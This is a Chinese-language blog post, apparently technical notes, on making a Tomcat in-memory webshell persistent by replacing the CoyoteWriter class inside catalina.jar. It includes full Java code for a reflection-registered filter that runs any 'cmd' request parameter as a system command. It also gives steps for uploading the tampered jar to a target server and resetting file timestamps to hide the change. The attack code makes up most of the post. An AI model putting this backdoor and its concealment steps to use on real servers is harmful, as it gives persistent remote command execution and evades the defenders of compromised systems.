关于Tomcat的内存马的持久化
前言:作为Tomcat实现内存马持久化的笔记
参考文章:https://www.freebuf.com/articles/web/268728.html
Tomcat的classpath劫持
方法就是直接对Tomcat的lib目录的字节码文件来直接进行替换,最后到Tomcat中调用lib库中的函数的时候来进行触发,方法操作如下所示
要劫持的话就劫持开发者就频繁用到的函数,比如PrintWriter的write方法,调试的话可以发现Tomcat中使用的对象为CoyoteWriter对象

所以这里就可以将目标服务器中的该对象对应的jar包来直接下载到本地进行修改,自己重新编译个全限定名为相同的class字节码文件

然后打开目标下载下来的catalina.jar中对应的目录进行替换

虽然Tomcat还在运行,但是直接在文件目录中进行替换catalina.jar是不会造成错误的,自己测试过的
C:\Users\dell\Desktop>copy c:\users\dell\desktop\catalina.jar D:\apache-tomcat-8.5.69\lib\ /y
已复制 1 个文件。

重新启动tomcat来进行测试,测试代码如下
public class TestClasspath extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.write("test");
writer.flush();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
}
可以发现成功进行劫持

修改内存马持久化
同样的,这里只需要修改为内存马的注入代码即可,我这里通过Filter类型的来进行注册内存马,就不通过相关的反序列化环境来演示了,直接本地注册即可。
实现代码如下,write代码修改为如下

public void write(String s) {
Field Configs = null;
Map filterConfigs;
try {
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext servletContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "CharsetFilter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new javax.servlet.Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
this.write((String)s, 0, s.length());
}
然后重新进行替换,如下图所示,将修改过的catalina.jar重新覆盖到tomcat中去,这里需要注意的就是 除了CoyoteWriter.class,还需要一个内部类CoyoteWriter$1.class

访问http://localhost:8081/testClasspath,触发注入内存马

接着访问内存马http://localhost:8081/memory-filter-study-1.0-SNAPSHOT/?cmd=whoami

到这里的话,不能让这个内存马每次调用write方法的时候都执行,所以还需要设置一个flag来进行限制,只有这个不存在的时候才会生成内存马,这里的话可以通过在上下文中设置一个属性来进行验证
String memoryFlag = (String) servletContext.getAttribute("memory");
servletContext.setAttribute("memory", "have");
上面的两句放到如下代码中即可,这样的话Tomcat启动一次就会添加一次
public void write(String s) {
try {
Field Configs = null;
Map filterConfigs;
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
String memoryFlag = (String) servletContext.getAttribute("memory");
if (memoryFlag == null || !memoryFlag.equals("have")){
String FilterName = "CharsetFilter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null) {
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap) declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor1.setAccessible(true);
org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext, o);
filterConfigs.put(FilterName, filterConfig);
servletContext.setAttribute("memory", "have");
}
}
}catch (Exception e){
e.printStackTrace();
}
this.write((String)s, 0, s.length());
}
文件属性修改
这里的话还需要考虑到文件属性创建时间修改时间的问题,要不然可能还会被观察到被修改的痕迹,所以这里还需要修改下,这里代码简单的用C来完成
1、class放进去的时候格式需要跟对方服务器中的catalina.jar中的字节码文件时间相同(这个可以在本地进行修改)
2、重新上传到对方服务器的时候,时间格式为当前(这个需要在对方服务器进行修改)
所以这里的话只需要考虑第二点即可,代码如下所示
完整的流程演示
1、webshell
2、下载tomcat的catalina.jar
3、替换两个文件,并且替换为目标上的创建时间
4、上传修改过的catalina.jar覆盖到目标上的catalina.jar
5、上传C写的程序进行指定修改即可

浙公网安备 33010602011771号